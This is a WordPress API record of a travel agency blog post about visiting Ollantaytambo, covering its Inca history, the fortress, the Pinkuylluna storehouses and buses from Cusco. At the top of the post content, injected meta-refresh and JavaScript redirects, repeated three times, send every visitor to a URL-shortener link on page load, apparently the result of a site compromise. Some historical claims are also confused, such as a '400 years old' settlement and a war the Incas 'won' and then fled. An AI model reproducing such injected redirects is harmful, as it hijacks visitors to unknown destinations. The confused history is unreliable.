{"id":6275,"date":"2025-06-11T10:01:31","date_gmt":"2025-06-11T15:01:31","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=6275"},"modified":"2025-06-11T10:01:54","modified_gmt":"2025-06-11T15:01:54","slug":"is-ollantaytambo-worth-visiting","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/is-ollantaytambo-worth-visiting\/","title":{"rendered":"Is Ollantaytambo Worth Visiting?"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>There are so many<strong> <a aria-label=\"things to do in Cusco (opens in a new tab)\" class=\"aioseop-link\" href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/what-to-do-in-24-hours-in-cusco\/\" target=\"_blank\" rel=\"noreferrer noopener\">things to do in Cusco<\/a><\/strong> that it could be sort of overwhelming to put the perfect itinerary together. However, not many of us have the time to see it all, and this blog will help you decide whether Ollantaytambo is worth visiting or not.<\/p>\n\n\n\n<p>This special spot is located in the<strong> <a aria-label=\"Sacred Valley of the Incas (opens in a new tab)\" class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinos\/sacred-valley-of-the-incas\" target=\"_blank\" rel=\"noreferrer noopener\">Sacred Valley of the Incas<\/a><\/strong>, a region that is overflowing with history, culture, and most importantly, mysticism. <\/p>\n\n\n\n<p>As you may know, it is the main attraction between Cusco and Machu Picchu thanks to its awe-inspiring landscapes, impressive archeological sites, and ancient traditions.<\/p>\n\n\n\n<p>If you\u2019d like to take a break, learn more about the Inca civilization, or simply enjoy the vast cultural expression of Cusco\u2019s countryside, the town of Ollantaytambo might be the perfect destination for you.&nbsp;<\/p>\n\n\n\n<p>Now, before getting into why you should visit Ollantaytambo, you should know about the importance of this part of the Sacred Valley during pre-Columbian times, so let\u2019s get to it!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"> Ollantaytambo History&nbsp;<\/h2>\n\n\n\n<p>Not many of you know this, but the Inca civilization didn\u2019t originate in the Cusco region. The territory was already occupied by different cultures, some of them older and larger than the<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-14-sapa-incas-rulers-of-the-inca-empire\/\" title=\"\"> Incas<\/a><\/strong>. <\/p>\n\n\n\n<p>The Ollantaytambo area was already occupied when the Incas arrived, but <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/inca-pachacutec-the-leader-who-redefined-his-world\/\" title=\"\">Pachacutec<\/a><\/strong> ordered the destruction of the village and incorporated it into their empire.<\/p>\n\n\n\n<p>According to historians and archaeologists, this settlement is 400 years old. Before the famous Quechua civilization, the oldest archeological findings are the Huari society (100 &#8211; 1200 AD). <\/p>\n\n\n\n<p>Therefore, evidence points to Ollantaytambo as the oldest pre-Columbian settlement in the Sacred Valley. So, experts assume that the Incas might have built on top of the remaining structures and expanded a pre-existing city. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/ChatGPT-Image-25-abr-2025-13_03_30.png?resize=697%2C465&#038;ssl=1\" alt=\"Ollantyatmabo fortress in a beautiful aquarela style pic.\" class=\"wp-image-14716\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/ChatGPT-Image-25-abr-2025-13_03_30.png?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/ChatGPT-Image-25-abr-2025-13_03_30.png?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/ChatGPT-Image-25-abr-2025-13_03_30.png?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/ChatGPT-Image-25-abr-2025-13_03_30.png?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/ChatGPT-Image-25-abr-2025-13_03_30.png?w=1536&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/ChatGPT-Image-25-abr-2025-13_03_30.png?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Once the Incas finally established themselves on these lands, they built agricultural terraces that allowed them to grow different types of plants.<\/p>\n\n\n\n<p>They also created a permanent irrigation system that comes from the Patacancha River and is currently in use by locals. <\/p>\n\n\n\n<p>Likewise, the Ollantaytambo Ceremonial Fortress is the most impressive of the Sacred Valley of the Incas, where some of its lithic pieces can weigh over 100 tons.<\/p>\n\n\n\n<p>This archaeological site is the largest in the region and comprises agricultural and defensive terraces, temples, and administrative areas. <\/p>\n\n\n\n<p>This outstanding wonder of Inca architecture was their last resistance point during the war with the Spanish colonizers, which they successfully won, but they took advantage of their victory and fled to the Jungle.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Now that you know this\u2026<\/strong><\/h2>\n\n\n\n<p>Ollantaytambo is not just another small town near Cusco; it is a living museum, an ancient city full of history, and a living legacy that has endured for centuries, with its Inca urbanistic distribution maintained by the Spanish when they took over the lands.<\/p>\n\n\n\n<p>This lost-in-time town might be small, but it definitely holds a significant part of the history of our ancestors, a vivid cultural expression, and a natural landscape like no other.<\/p>\n\n\n\n<p> If you\u2019re looking for a quiet and beautiful place to spend a day or a few, this can be your best option. Ollantaytambo will give you an authentic travel experience.<\/p>\n\n\n\n<p>This old Inca town will also allow you to know more about our historical and cultural heritage, while also helping you unwind your mind to the energy of the Andes mountains.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Things to Do in Ollantaytambo<\/strong><\/h2>\n\n\n\n<p>If we have got you interested, you might want to know what there is to do, so here we have listed the most popular activities in the city:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong> Ollantaytambo Archeological Site<\/strong><\/h3>\n\n\n\n<p>This massive structure is located right at the heart of the town, and it is one of the most imposing constructions of the Sacred Valley. <\/p>\n\n\n\n<p>The site served as an administrative and ceremonial center, which turned into a fortress during the colonization process.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2018\/06\/tour-valle-sagrado-de-los-incas-ollantaytambo-800x600.jpg?resize=697%2C523&#038;ssl=1\" alt=\" Ollantaytambo Archeological Site at its best\" class=\"wp-image-3394\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2018\/06\/tour-valle-sagrado-de-los-incas-ollantaytambo-800x600.jpg?resize=800%2C600&amp;ssl=1 800w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2018\/06\/tour-valle-sagrado-de-los-incas-ollantaytambo-800x600.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2018\/06\/tour-valle-sagrado-de-los-incas-ollantaytambo-800x600.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2018\/06\/tour-valle-sagrado-de-los-incas-ollantaytambo-800x600.jpg?resize=640%2C480&amp;ssl=1 640w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>The ruins are surprisingly well preserved, though they suffered some damage during the Ollantaytambo war in 1537 and when the Spaniards gained control of the land. <\/p>\n\n\n\n<p>Nowadays, it is one of the most important pre-Columbian settlements in Peru. If you wish to visit the Ollantaytambo Archeological Site, you must purchase the <strong><a class=\"aioseop-link\" href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/cusco-tourist-ticket-guide-2024\/\">Cusco Tourist Ticket<\/a><\/strong>.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Pinkuylluna Storehouse<\/strong><\/h3>\n\n\n\n<p>If you\u2019ve been looking at the pictures from above the Ollantaytambo ruins, you surely have noticed a particular construction built on the cliffside of a mountain. Well, this ancient inca structure helped to conserve the crops cultivated in the nearby terraces. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"478\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/49154635886_a067fbfedb_k-2.jpg?resize=697%2C478&#038;ssl=1\" alt=\"The Pinkuylluna Storehouses in the sunset\" class=\"wp-image-14714\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/49154635886_a067fbfedb_k-2.jpg?resize=1024%2C702&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/49154635886_a067fbfedb_k-2.jpg?resize=300%2C206&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/49154635886_a067fbfedb_k-2.jpg?resize=768%2C527&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/49154635886_a067fbfedb_k-2.jpg?resize=1536%2C1053&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/49154635886_a067fbfedb_k-2.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/49154635886_a067fbfedb_k-2.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Pachacutec probably built this site, about the same time he rebuilt the city, too. Incas strategically positioned these storehouses at a high altitude to preserve and protect the food.<\/p>\n\n\n\n<p>Since it is free to visit this site, we must highlight that getting there could be quite difficult if you\u2019re not used to the altitude or don\u2019t have good physical condition, since the trail is very steep.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong> Ollantaytambo Town<\/strong><\/h3>\n\n\n\n<p>As we mentioned before, the town itself is a living museum where colonial architecture merges perfectly with the Inca structures used as its foundations. A flourishing scenery surrounds Ollantaytambo and offers a relaxing experience in every corner.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"871\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/10\/7-1.jpg?resize=697%2C871&#038;ssl=1\" alt=\"A beautiful cobbled Alley in Ollantaytambo and a female tourist\" class=\"wp-image-6986\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/10\/7-1.jpg?resize=819%2C1024&amp;ssl=1 819w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/10\/7-1.jpg?resize=240%2C300&amp;ssl=1 240w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/10\/7-1.jpg?resize=768%2C960&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/10\/7-1.jpg?w=1080&amp;ssl=1 1080w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Cobbled Alley in Ollantaytambo<\/strong> <strong>Town<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>If you\u2019re looking for an authentic experience during your trip to Peru and Cusco, make sure to add the Sacred Valley to your travel itinerary. Take your time to explore each town and make the most of your stay!&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>So\u2026 Should you visit Ollantaytambo?<\/strong><\/h2>\n\n\n\n<p>In our opinion, it is a must-stop on the way to Machu Picchu and the best place to connect with nature, culture, and history. So yes! You should definitely give this town a space in your tour itinerary, whether it is for a day, on a tour, or an overnight stay, it will surely captivate you all captivated.<\/p>\n\n\n\n<p>Also, for those planning to take a train ride from Machu Picchu, you can easily do it in this small town! That way, you can enjoy Ollantaytambo&#8217;s attractions on the way to this wonder of the world.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Getting to Ollantaytambo<\/strong><\/h2>\n\n\n\n<p>As you already know, Ollantaytambo is located in the Sacred Valley of the Incas, at 2,792 m.a.s.l, and only 60.6 km from the former imperial capital, Cusco. <\/p>\n\n\n\n<p>Most travelers choose to head down to the valley after getting to Cusco due to the lower altitude, allowing themselves to get used to it quickly.<\/p>\n\n\n\n<p>Whether you\u2019d like to come to Ollantaytambo from Cusco at once or later, it is easily accessible by taxi, bus, or tour. Here are some recommendations for you!<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Getting there on your own<\/h3>\n\n\n\n<p>If you would like to get there on your own, you should know that it isn\u2019t so complicated as long as you know<strong><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/information\/how-to-communicate-in-peru-spanish-tips\"> basic Spanish<\/a><\/strong>. <\/p>\n\n\n\n<p>For those looking to get there directly, you can get a bus ride for 10-15 soles from Pavitos Street in Cusco without stopping on the way.<br><br>Keep in mind that locals tend to overcharge their prices to tourists, so don\u2019t be afraid to bargain when you get caught in the middle of these situations, especially when you already know what the regular bus fare is.<br><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/sacred-valley-peru-Ollantaytambo.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Female tourists in Ollantaytambo fortress pointing out the town \" class=\"wp-image-14715\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/sacred-valley-peru-Ollantaytambo.jpg?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/sacred-valley-peru-Ollantaytambo.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/sacred-valley-peru-Ollantaytambo.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/sacred-valley-peru-Ollantaytambo.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p><br>Likewise, you can ask your travel agent or hotel to arrange a taxi from Cusco to Ollantaytambo for a reasonable price. This would be the best option if you\u2019re looking to avoid long lines at the bus stop and crowded buses.&nbsp;<\/p>\n\n\n\n<p>If you&#8217;d rather take a tour, it will be the best option to get to Ollantaytambo since you\u2019d get to visit different towns and archeological sites on the way before arriving at this famous village.<\/p>\n\n\n\n<p> Besides, it will only take around 4-6 hours to complete the circuit, allowing you to have more time to explore Ollantaytambo and rest before continuing your adventure.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity\"\/>\n\n\n\n<p>There are two options for this experience: Whether you\u2019d like to join a group tour or a private excursion to the Sacred Valley, we have both alternatives. Make sure to<strong> <a aria-label=\"contact our team (opens in a new tab)\" class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" target=\"_blank\" rel=\"noreferrer noopener\">contact our team<\/a><\/strong> so we can organize the perfect itinerary for you!<\/p>\n\n\n\n<p>Make your way through the Sacred Valley of the Incas and uncover all its mysteries and fantastic history. We want you to experience Cusco to its fullest, so here\u2019s some travel inspiration for your next vacation trip!<\/p>\n\n\n\n<p><strong>Viagens Machu Picchu, journeys that inspire, moments that last.<\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Planning the perfect adventure through Cusco? Here you&#8217;ll learn why you should visit Ollantaytambo in the Sacred Valley of the Incas!<\/p>\n","protected":false},"author":1,"featured_media":6281,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[206,194,200],"tags":[2588,2585,2589,2586,2584,2241,2587,2590,1209],"class_list":["post-6275","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cusco","category-destinations","category-valle-sagrado","tag-columbian-settlements","tag-cultural-expression","tag-good-physical-condition","tag-huari-society","tag-impressive-archeological","tag-inca-architecture","tag-patacancha-river","tag-take-a-train-ride","tag-valley-of-the-incas"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/03\/is-ollantaytambo-worth-visiting.jpg?fit=1300%2C550&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-1Dd","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/6275","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=6275"}],"version-history":[{"count":8,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/6275\/revisions"}],"predecessor-version":[{"id":16232,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/6275\/revisions\/16232"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/6281"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=6275"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=6275"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=6275"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}